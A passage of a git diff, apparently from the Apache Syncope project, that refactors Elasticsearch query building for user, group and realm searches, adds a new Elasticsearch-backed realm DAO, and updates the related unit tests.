size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). sort(sortBuilders(kind, orderBy)). + fields(List.of()).source(new SourceConfig.Builder().fetch(false).build()). build(); + LOG.debug("Search JSON request: {}", request); - @SuppressWarnings("rawtypes") - List> esResult = null; + List> esResult = null; try { - esResult = client.search(request, Map.class).hits().hits(); + esResult = client.search(request, Void.class).hits().hits(); } catch (Exception e) { LOG.error("While searching in Elasticsearch", e); } @@ -358,12 +346,6 @@ protected Query getQuery(final SearchCond cond, final AnyTypeKind kind) { orElse(null); } - if (query == null) { - query = cond.getLeaf(AssignableCond.class). - map(this::getQuery). - orElse(null); - } - if (query == null) { query = cond.getLeaf(RoleCond.class). filter(leaf -> AnyTypeKind.USER == kind). @@ -397,14 +379,9 @@ protected Query getQuery(final SearchCond cond, final AnyTypeKind kind) { } if (query == null) { - Optional anyCond = cond.getLeaf(AnyCond.class); - if (anyCond.isPresent()) { - query = getQuery(anyCond.get(), kind); - } else { - query = cond.getLeaf(AttrCond.class). - map(leaf -> getQuery(leaf, kind)). - orElse(null); - } + query = cond.getLeaf(AnyCond.class).map(ac -> getQuery(ac, kind)). + or(() -> cond.getLeaf(AttrCond.class).map(ac -> getQuery(ac, kind))). + orElse(null); } // allow for additional search conditions @@ -422,15 +399,43 @@ protected Query getQuery(final SearchCond cond, final AnyTypeKind kind) { break; case AND: - query = new Query.Builder().bool(QueryBuilders.bool(). - must(getQuery(cond.getLeft(), kind)).must(getQuery(cond.getRight(), kind)).build()). - build(); + List andCompound = new ArrayList<>(); + + Query andLeft = getQuery(cond.getLeft(), kind); + if (andLeft._kind() == Query.Kind.Bool && !((BoolQuery) andLeft._get()).filter().isEmpty()) { + andCompound.addAll(((BoolQuery) andLeft._get()).filter()); + } else { + andCompound.add(andLeft); + } + + Query andRight = getQuery(cond.getRight(), kind); + if (andRight._kind() == Query.Kind.Bool && !((BoolQuery) andRight._get()).filter().isEmpty()) { + andCompound.addAll(((BoolQuery) andRight._get()).filter()); + } else { + andCompound.add(andRight); + } + + query = new Query.Builder().bool(QueryBuilders.bool().filter(andCompound).build()).build(); break; case OR: - query = new Query.Builder().disMax(QueryBuilders.disMax(). - queries(getQuery(cond.getLeft(), kind), getQuery(cond.getRight(), kind)).build()). - build(); + List orCompound = new ArrayList<>(); + + Query orLeft = getQuery(cond.getLeft(), kind); + if (orLeft._kind() == Query.Kind.DisMax) { + orCompound.addAll(((DisMaxQuery) orLeft._get()).queries()); + } else { + orCompound.add(orLeft); + } + + Query orRight = getQuery(cond.getRight(), kind); + if (orRight._kind() == Query.Kind.DisMax) { + orCompound.addAll(((DisMaxQuery) orRight._get()).queries()); + } else { + orCompound.add(orRight); + } + + query = new Query.Builder().disMax(QueryBuilders.disMax().queries(orCompound).build()).build(); break; default: @@ -441,96 +446,76 @@ protected Query getQuery(final SearchCond cond, final AnyTypeKind kind) { protected Query getQuery(final AnyTypeCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("anyType").value(FieldValue.of(cond.getAnyTypeKey())).build()). + field("anyType").value(cond.getAnyTypeKey()).build()). build(); } protected Query getQuery(final RelationshipTypeCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("relationshipTypes").value(FieldValue.of(cond.getRelationshipTypeKey())).build()). + field("relationshipTypes").value(cond.getRelationshipTypeKey()).build()). build(); } protected Query getQuery(final RelationshipCond cond) { - String rightAnyObjectKey = check(cond); + List queries = check(cond).stream(). + map(key -> new Query.Builder().term(QueryBuilders.term(). + field("relationships").value(key).build()). + build()).collect(Collectors.toList()); - return new Query.Builder().term(QueryBuilders.term(). - field("relationships").value(FieldValue.of(rightAnyObjectKey)).build()). - build(); + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); } protected Query getQuery(final MembershipCond cond) { - List groupKeys = check(cond); - - List membershipQueries = groupKeys.stream(). + List queries = check(cond).stream(). map(key -> new Query.Builder().term(QueryBuilders.term(). - field("memberships").value(FieldValue.of(key)).build()). + field("memberships").value(key).build()). build()).collect(Collectors.toList()); - if (membershipQueries.size() == 1) { - return membershipQueries.get(0); - } - return new Query.Builder().disMax(QueryBuilders.disMax().queries(membershipQueries).build()).build(); - } - - protected Query getQuery(final AssignableCond cond) { - Realm realm = check(cond); - - List queries = new ArrayList<>(); - if (cond.isFromGroup()) { - realmDAO.findDescendants(realm).forEach( - current -> queries.add(new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(current.getFullPath())).build()). - build())); - } else { - for (Realm current = realm; current.getParent() != null; current = current.getParent()) { - queries.add(new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(current.getFullPath())).build()). - build()); - } - queries.add(new Query.Builder().term(QueryBuilders.term(). - field("realm").value(FieldValue.of(realmDAO.getRoot().getFullPath())).build()). - build()); - } - - return new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); } protected Query getQuery(final RoleCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("roles").value(FieldValue.of(cond.getRole())).build()). + field("roles").value(cond.getRole()).build()). build(); } protected Query getQuery(final PrivilegeCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("privileges").value(FieldValue.of(cond.getPrivilege())).build()). + field("privileges").value(cond.getPrivilege()).build()). build(); } protected Query getQuery(final DynRealmCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("dynRealms").value(FieldValue.of(cond.getDynRealm())).build()). + field("dynRealms").value(cond.getDynRealm()).build()). build(); } protected Query getQuery(final MemberCond cond) { - String memberKey = check(cond); + List queries = check(cond).stream(). + map(key -> new Query.Builder().term(QueryBuilders.term(). + field("members").value(key).build()). + build()).collect(Collectors.toList()); - return new Query.Builder().term(QueryBuilders.term(). - field("members").value(FieldValue.of(memberKey)).build()). - build(); + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); } protected Query getQuery(final AuxClassCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("auxClasses").value(FieldValue.of(cond.getAuxClass())).build()). + field("auxClasses").value(cond.getAuxClass()).build()). build(); } protected Query getQuery(final ResourceCond cond) { return new Query.Builder().term(QueryBuilders.term(). - field("resources").value(FieldValue.of(cond.getResource())).build()). + field("resources").value(cond.getResource()).build()). build(); } @@ -558,7 +543,7 @@ protected Query fillAttrQuery( case ILIKE: StringBuilder output = new StringBuilder(); - for (char c : cond.getExpression().toLowerCase().toCharArray()) { + for (char c : cond.getExpression().toLowerCase().replace("\\_", "_").toCharArray()) { if (c == '%') { output.append(".*"); } else if (Character.isLetter(c)) { @@ -567,7 +552,7 @@ protected Query fillAttrQuery( append(Character.toUpperCase(c)). append(']'); } else { - output.append(escapeForLikeRegex(c)); + output.append(ElasticsearchUtils.escapeForLikeRegex(c)); } } query = new Query.Builder().regexp(QueryBuilders.regexp(). @@ -576,12 +561,13 @@ protected Query fillAttrQuery( case LIKE: query = new Query.Builder().wildcard(QueryBuilders.wildcard(). - field(schema.getKey()).value(cond.getExpression().replace('%', '*')).build()).build(); + field(schema.getKey()).value(cond.getExpression().replace('%', '*').replace("\\_", "_")). + build()).build(); break; case IEQ: query = new Query.Builder().match(QueryBuilders.match(). - field(schema.getKey()).query(FieldValue.of(cond.getExpression().toLowerCase())).build()). + field(schema.getKey()).query(cond.getExpression().toLowerCase()).build()). build(); break; @@ -602,26 +588,30 @@ protected Query fillAttrQuery( break; case GE: - query = new Query.Builder().range(QueryBuilders.range(). - field(schema.getKey()).gte(JsonData.of(value)).build()). + query = new Query.Builder().range(RangeQuery.of(r -> r.untyped(n -> n. + field(schema.getKey()). + gte(JsonData.of(value))))). build(); break; case GT: - query = new Query.Builder().range(QueryBuilders.range(). - field(schema.getKey()).gt(JsonData.of(value)).build()). + query = new Query.Builder().range(RangeQuery.of(r -> r.untyped(n -> n. + field(schema.getKey()). + gt(JsonData.of(value))))). build(); break; case LE: - query = new Query.Builder().range(QueryBuilders.range(). - field(schema.getKey()).lte(JsonData.of(value)).build()). + query = new Query.Builder().range(RangeQuery.of(r -> r.untyped(n -> n. + field(schema.getKey()). + lte(JsonData.of(value))))). build(); break; case LT: - query = new Query.Builder().range(QueryBuilders.range(). - field(schema.getKey()).lt(JsonData.of(value)).build()). + query = new Query.Builder().range(RangeQuery.of(r -> r.untyped(n -> n. + field(schema.getKey()). + lt(JsonData.of(value))))). build(); break; @@ -638,14 +628,10 @@ protected Query getQuery(final AttrCond cond, final AnyTypeKind kind) { } protected Query getQuery(final AnyCond cond, final AnyTypeKind kind) { - if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) - && SyncopeConstants.UUID_PATTERN.matcher(cond.getExpression()).matches()) { - - Realm realm = realmDAO.find(cond.getExpression()); - if (realm == null) { - throw new IllegalArgumentException("Invalid Realm key: " + cond.getExpression()); - } - cond.setExpression(realm.getFullPath()); + if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) && cond.getExpression().startsWith("/")) { + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(cond.getExpression())). + orElseThrow(() -> new IllegalArgumentException("Invalid Realm full path: " + cond.getExpression())); + cond.setExpression(realm.getKey()); } Triple checked = check(cond, kind); diff --git a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAuditConfDAO.java b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAuditConfDAO.java index bbe3a8537a1..73d9f665f51 100644 --- a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAuditConfDAO.java +++ b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAuditConfDAO.java @@ -25,15 +25,16 @@ import co.elastic.clients.elasticsearch._types.SortOrder; import co.elastic.clients.elasticsearch._types.query_dsl.Query; import co.elastic.clients.elasticsearch._types.query_dsl.QueryBuilders; +import co.elastic.clients.elasticsearch._types.query_dsl.RangeQuery; +import co.elastic.clients.elasticsearch._types.query_dsl.TextQueryType; import co.elastic.clients.elasticsearch.core.CountRequest; import co.elastic.clients.elasticsearch.core.SearchRequest; import co.elastic.clients.elasticsearch.core.search.Hit; -import co.elastic.clients.json.JsonData; +import com.fasterxml.jackson.databind.node.ObjectNode; import java.io.IOException; import java.time.OffsetDateTime; import java.util.ArrayList; import java.util.List; -import java.util.Map; import java.util.Objects; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; @@ -72,6 +73,7 @@ protected Query getQuery( queries.add(new Query.Builder(). multiMatch(QueryBuilders.multiMatch(). fields("message.before", "message.inputs", "message.output", "message.throwable"). + type(TextQueryType.Phrase). query(entityKey).build()).build()); } @@ -108,20 +110,20 @@ protected Query getQuery( } if (before != null) { - queries.add(new Query.Builder(). - range(QueryBuilders.range(). - field("instant").lte(JsonData.of(before.toInstant().toEpochMilli())).build()). + queries.add(new Query.Builder().range(RangeQuery.of(r -> r.number(n -> n. + field("instant"). + lte((Double.valueOf(before.toInstant().toEpochMilli())))))). build()); } if (after != null) { - queries.add(new Query.Builder(). - range(QueryBuilders.range(). - field("instant").gte(JsonData.of(after.toInstant().toEpochMilli())).build()). + queries.add(new Query.Builder().range(RangeQuery.of(r -> r.number(n -> n. + field("instant"). + gte((Double.valueOf(after.toInstant().toEpochMilli())))))). build()); } - return new Query.Builder().bool(QueryBuilders.bool().must(queries).build()).build(); + return new Query.Builder().bool(QueryBuilders.bool().filter(queries).build()).build(); } @Override @@ -182,15 +184,15 @@ public List searchEntries( index(ElasticsearchUtils.getAuditIndex(AuthContextUtils.getDomain())). searchType(SearchType.QueryThenFetch). query(getQuery(entityKey, type, category, subcategory, events, result, before, after)). + fields(f -> f.field("message")). from(itemsPerPage * (page <= 0 ? 0 : page - 1)). size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). sort(sortBuilders(orderBy)). build(); - @SuppressWarnings("rawtypes") - List> esResult = null; + List> esResult = null; try { - esResult = client.search(request, Map.class).hits().hits(); + esResult = client.search(request, ObjectNode.class).hits().hits(); } catch (Exception e) { LOG.error("While searching in Elasticsearch", e); } diff --git a/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchRealmDAO.java b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchRealmDAO.java new file mode 100644 index 00000000000..8d65e914712 --- /dev/null +++ b/ext/elasticsearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchRealmDAO.java @@ -0,0 +1,263 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._types.ScriptLanguage; +import co.elastic.clients.elasticsearch._types.ScriptSortType; +import co.elastic.clients.elasticsearch._types.SearchType; +import co.elastic.clients.elasticsearch._types.SortOptions; +import co.elastic.clients.elasticsearch._types.SortOrder; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; +import co.elastic.clients.elasticsearch._types.query_dsl.QueryBuilders; +import co.elastic.clients.elasticsearch.core.CountRequest; +import co.elastic.clients.elasticsearch.core.SearchRequest; +import co.elastic.clients.elasticsearch.core.search.Hit; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.core.persistence.api.dao.MalformedPathException; +import org.apache.syncope.core.persistence.api.dao.RoleDAO; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.elasticsearch.client.ElasticsearchUtils; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.transaction.annotation.Transactional; + +public class ElasticsearchRealmDAO extends JPARealmDAO { + + protected static final List ES_SORT_OPTIONS_REALM = List.of( + new SortOptions.Builder(). + script(s -> s.type(ScriptSortType.Number). + script(t -> t.lang(ScriptLanguage.Painless). + source("doc['fullPath'].value.chars().filter(ch -> ch == '/').count()")). + order(SortOrder.Asc)). + build()); + + protected final ElasticsearchClient client; + + protected final int indexMaxResultWindow; + + public ElasticsearchRealmDAO( + final RoleDAO roleDAO, + final ApplicationEventPublisher publisher, + final ElasticsearchClient client, + final int indexMaxResultWindow) { + + super(roleDAO, publisher); + this.client = client; + this.indexMaxResultWindow = indexMaxResultWindow; + } + + @Transactional(readOnly = true) + @Override + public Realm findByFullPath(final String fullPath) { + if (SyncopeConstants.ROOT_REALM.equals(fullPath)) { + return getRoot(); + } + + if (StringUtils.isBlank(fullPath) || !PATH_PATTERN.matcher(fullPath).matches()) { + throw new MalformedPathException(fullPath); + } + + SearchRequest request = new SearchRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(fullPath).build()).build()). + size(1). + build(); + + try { + String result = client.search(request, Void.class).hits().hits().stream().findFirst(). + map(Hit::id). + orElse(null); + return find(result); + } catch (Exception e) { + LOG.error("While searching ES for one match", e); + } + + return null; + } + + protected List search(final Query query) { + SearchRequest request = new SearchRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(query). + sort(ES_SORT_OPTIONS_REALM). + build(); + + try { + return client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in Elasticsearch", e); + return List.of(); + } + } + + @Override + public List findByName(final String name) { + List result = search( + new Query.Builder().term(QueryBuilders.term(). + field("name").value(name).build()).build()); + return result.stream().map(this::find).collect(Collectors.toList()); + } + + @Override + public List findChildren(final Realm realm) { + List result = search( + new Query.Builder().term(QueryBuilders.term(). + field("parent_id").value(realm.getKey()).build()).build()); + return result.stream().map(this::find).collect(Collectors.toList()); + } + + protected static Query buildDescendantsQuery(final Set bases, final String keyword) { + List basesQueries = new ArrayList<>(); + bases.forEach(base -> { + basesQueries.add(new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(base).build()).build()); + basesQueries.add(new Query.Builder().regexp(QueryBuilders.regexp(). + field("fullPath").value(SyncopeConstants.ROOT_REALM.equals(base) ? "/.*" : base + "/.*"). + build()).build()); + }); + Query prefix = new Query.Builder().disMax(QueryBuilders.disMax().queries(basesQueries).build()).build(); + + if (keyword == null) { + return prefix; + } + + StringBuilder output = new StringBuilder(); + for (char c : keyword.toLowerCase().toCharArray()) { + if (c == '%') { + output.append(".*"); + } else if (Character.isLetter(c)) { + output.append('['). + append(c). + append(Character.toUpperCase(c)). + append(']'); + } else { + output.append(ElasticsearchUtils.escapeForLikeRegex(c)); + } + } + + return new Query.Builder().bool(QueryBuilders.bool().filter( + prefix, + new Query.Builder().regexp(QueryBuilders.regexp(). + field("name").value(output.toString()).build()). + build()).build()). + build(); + } + + @Override + public int countDescendants(final String base, final String keyword) { + return countDescendants(Set.of(base), keyword); + } + + @Override + public int countDescendants(final Set bases, final String keyword) { + CountRequest request = new CountRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + query(buildDescendantsQuery(bases, keyword)). + build(); + + try { + return (int) client.count(request).count(); + } catch (Exception e) { + LOG.error("While counting in Elasticsearch", e); + return 0; + } + } + + @Override + public List findDescendants( + final String base, + final String keyword, + final int page, + final int itemsPerPage) { + + return findDescendants(Set.of(base), keyword, page, itemsPerPage); + } + + @Override + public List findDescendants( + final Set bases, + final String keyword, + final int page, + final int itemsPerPage) { + + SearchRequest request = new SearchRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(buildDescendantsQuery(bases, keyword)). + from(itemsPerPage * (page <= 0 ? 0 : page - 1)). + size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). + sort(ES_SORT_OPTIONS_REALM). + build(); + + List result = List.of(); + try { + result = client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in Elasticsearch", e); + } + + return result.stream().map(this::find).collect(Collectors.toList()); + } + + @Override + public List findDescendants(final String base, final String prefix) { + Query prefixQuery = new Query.Builder().disMax(QueryBuilders.disMax().queries( + new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(prefix).build()).build(), + new Query.Builder().prefix(QueryBuilders.prefix(). + field("fullPath").value(SyncopeConstants.ROOT_REALM.equals(prefix) ? "/" : prefix + "/"). + build()).build()).build()).build(); + + Query query = new Query.Builder().bool(QueryBuilders.bool().filter( + buildDescendantsQuery(Set.of(base), null), prefixQuery).build()). + build(); + + SearchRequest request = new SearchRequest.Builder(). + index(ElasticsearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(query). + from(0). + size(indexMaxResultWindow). + sort(ES_SORT_OPTIONS_REALM). + build(); + + List result = List.of(); + try { + result = client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in Elasticsearch", e); + } + return result; + } +} diff --git a/ext/elasticsearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAOTest.java b/ext/elasticsearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAOTest.java index 2145da00ac7..46dd995f7f0 100644 --- a/ext/elasticsearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAOTest.java +++ b/ext/elasticsearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/ElasticsearchAnySearchDAOTest.java @@ -21,11 +21,16 @@ import static org.assertj.core.api.Assertions.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.doAnswer; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; -import co.elastic.clients.elasticsearch._types.FieldValue; import co.elastic.clients.elasticsearch._types.SearchType; +import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery; +import co.elastic.clients.elasticsearch._types.query_dsl.DisMaxQuery; import co.elastic.clients.elasticsearch._types.query_dsl.Query; import co.elastic.clients.elasticsearch._types.query_dsl.QueryBuilders; import co.elastic.clients.elasticsearch.core.SearchRequest; @@ -36,6 +41,7 @@ import org.apache.commons.lang3.tuple.Triple; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; @@ -46,6 +52,7 @@ import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.DynRealm; import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; import org.apache.syncope.core.persistence.api.entity.PlainSchema; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.jpa.entity.JPAPlainSchema; @@ -81,6 +88,9 @@ public class ElasticsearchAnySearchDAOTest { @Mock private AnyUtilsFactory anyUtilsFactory; + @Mock + private PlainAttrValidationManager validator; + private ElasticsearchAnySearchDAO searchDAO; @BeforeEach @@ -94,7 +104,7 @@ protected void setupSearchDAO() { null, entityFactory, anyUtilsFactory, - null, + validator, null, 10000); } @@ -106,18 +116,16 @@ public void getAdminRealmsFilter4realm() throws IOException { when(root.getFullPath()).thenReturn(SyncopeConstants.ROOT_REALM); when(realmDAO.findByFullPath(SyncopeConstants.ROOT_REALM)).thenReturn(root); - when(realmDAO.findDescendants(root)).thenReturn(List.of(root)); + when(realmDAO.findDescendants(eq(SyncopeConstants.ROOT_REALM), anyString())).thenReturn(List.of("rootKey")); // 2. test Set adminRealms = Set.of(SyncopeConstants.ROOT_REALM); Triple, Set, Set> filter = - searchDAO.getAdminRealmsFilter(realmDAO.getRoot(), true, adminRealms, AnyTypeKind.USER); + searchDAO.getAdminRealmsFilter(root, true, adminRealms, AnyTypeKind.USER); - assertThat( - new Query.Builder().disMax(QueryBuilders.disMax().queries( - new Query.Builder().term(QueryBuilders.term().field("realm").value( - FieldValue.of(SyncopeConstants.ROOT_REALM)).build()).build()).build()). - build()). + assertThat(new Query.Builder().disMax(QueryBuilders.disMax().queries( + new Query.Builder().term(QueryBuilders.term().field("realm").value("rootKey").build()). + build()).build()).build()). usingRecursiveComparison().isEqualTo(filter.getLeft().get()); assertEquals(Set.of(), filter.getMiddle()); assertEquals(Set.of(), filter.getRight()); @@ -154,7 +162,7 @@ public void getAdminRealmsFilter4groupOwner() { public void searchRequest4groupOwner() throws IOException { // 1. mock AnyUtils anyUtils = mock(AnyUtils.class); - when(anyUtils.getField("id")).thenReturn(ReflectionUtils.findField(JPAUser.class, "id")); + when(anyUtils.getField("key")).thenReturn(ReflectionUtils.findField(JPAUser.class, "id")); when(anyUtils.newPlainAttrValue()).thenReturn(new JPAUPlainAttrValue()); when(anyUtilsFactory.getInstance(AnyTypeKind.USER)).thenReturn(anyUtils); @@ -171,7 +179,7 @@ public void searchRequest4groupOwner() throws IOException { Set adminRealms = Set.of(RealmUtils.getGroupOwnerRealm("/any", "groupKey")); AnyCond anyCond = new AnyCond(AttrCond.Type.ISNOTNULL); - anyCond.setSchema("id"); + anyCond.setSchema("key"); SearchRequest request = new SearchRequest.Builder(). index(ElasticsearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER)). @@ -184,11 +192,194 @@ public void searchRequest4groupOwner() throws IOException { assertThat( new Query.Builder().bool(QueryBuilders.bool(). - must(new Query.Builder().exists(QueryBuilders.exists().field("id").build()).build()). - must(new Query.Builder().term(QueryBuilders.term().field("memberships").value( - FieldValue.of("groupKey")).build()).build()). + filter(new Query.Builder().exists(QueryBuilders.exists().field("id").build()).build()). + filter(new Query.Builder().term(QueryBuilders.term().field("memberships").value("groupKey"). + build()).build()).build()).build()). + usingRecursiveComparison(). + isEqualTo(request.query()); + } + } + + @Test + public void issueSYNCOPE1725() throws IOException { + // 1. mock + AnyUtils anyUtils = mock(AnyUtils.class); + when(anyUtils.getField("key")).thenReturn(ReflectionUtils.findField(JPAUser.class, "id")); + JPAUPlainAttrValue value = new JPAUPlainAttrValue(); + when(anyUtils.newPlainAttrValue()).thenReturn(value); + + when(anyUtilsFactory.getInstance(AnyTypeKind.USER)).thenReturn(anyUtils); + + when(entityFactory.newEntity(PlainSchema.class)).thenReturn(new JPAPlainSchema()); + + doAnswer(ic -> { + value.setStringValue(ic.getArgument(1)); + return null; + }).when(validator).validate(any(PlainSchema.class), anyString(), any(PlainAttrValue.class)); + + AnyCond cond1 = new AnyCond(AttrCond.Type.EQ); + cond1.setSchema("key"); + cond1.setExpression("1"); + + AnyCond cond2 = new AnyCond(AttrCond.Type.EQ); + cond2.setSchema("key"); + cond2.setExpression("2"); + + AnyCond cond3 = new AnyCond(AttrCond.Type.EQ); + cond3.setSchema("key"); + cond3.setExpression("3"); + + AnyCond cond4 = new AnyCond(AttrCond.Type.EQ); + cond4.setSchema("key"); + cond4.setExpression("4"); + + AnyCond cond5 = new AnyCond(AttrCond.Type.EQ); + cond5.setSchema("key"); + cond5.setExpression("5"); + + AnyCond cond6 = new AnyCond(AttrCond.Type.EQ); + cond6.setSchema("key"); + cond6.setExpression("6"); + + try (MockedStatic utils = Mockito.mockStatic(ElasticsearchUtils.class)) { + utils.when(() -> ElasticsearchUtils.getAnyIndex( + SyncopeConstants.MASTER_DOMAIN, AnyTypeKind.USER)).thenReturn("master_user"); + + Query query = searchDAO.getQuery( + SearchCond.getAnd( + List.of(SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3), + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))), + AnyTypeKind.USER); + assertEquals(Query.Kind.Bool, query._kind()); + assertEquals(6, ((BoolQuery) query._get()).filter().size()); + assertThat( + new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("1").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("2").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("3").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("4").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("5").build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value("6").build()).build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getOr( + List.of(SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3), + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))), + AnyTypeKind.USER); + assertEquals(Query.Kind.DisMax, query._kind()); + assertEquals(6, ((DisMaxQuery) query._get()).queries().size()); + assertThat( + new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("1").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("2").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("3").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("4").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("5").build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value("6").build()).build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getAnd(List.of( + SearchCond.getOr(List.of( + SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3))), + SearchCond.getOr(List.of( + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))))), + AnyTypeKind.USER); + assertEquals(Query.Kind.Bool, query._kind()); + assertEquals(2, ((BoolQuery) query._get()).filter().size()); + Query left = ((BoolQuery) query._get()).filter().get(0); + assertEquals(Query.Kind.DisMax, left._kind()); + assertEquals(3, ((DisMaxQuery) left._get()).queries().size()); + Query right = ((BoolQuery) query._get()).filter().get(1); + assertEquals(Query.Kind.DisMax, right._kind()); + assertEquals(3, ((DisMaxQuery) right._get()).queries().size()); + assertThat( + new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + 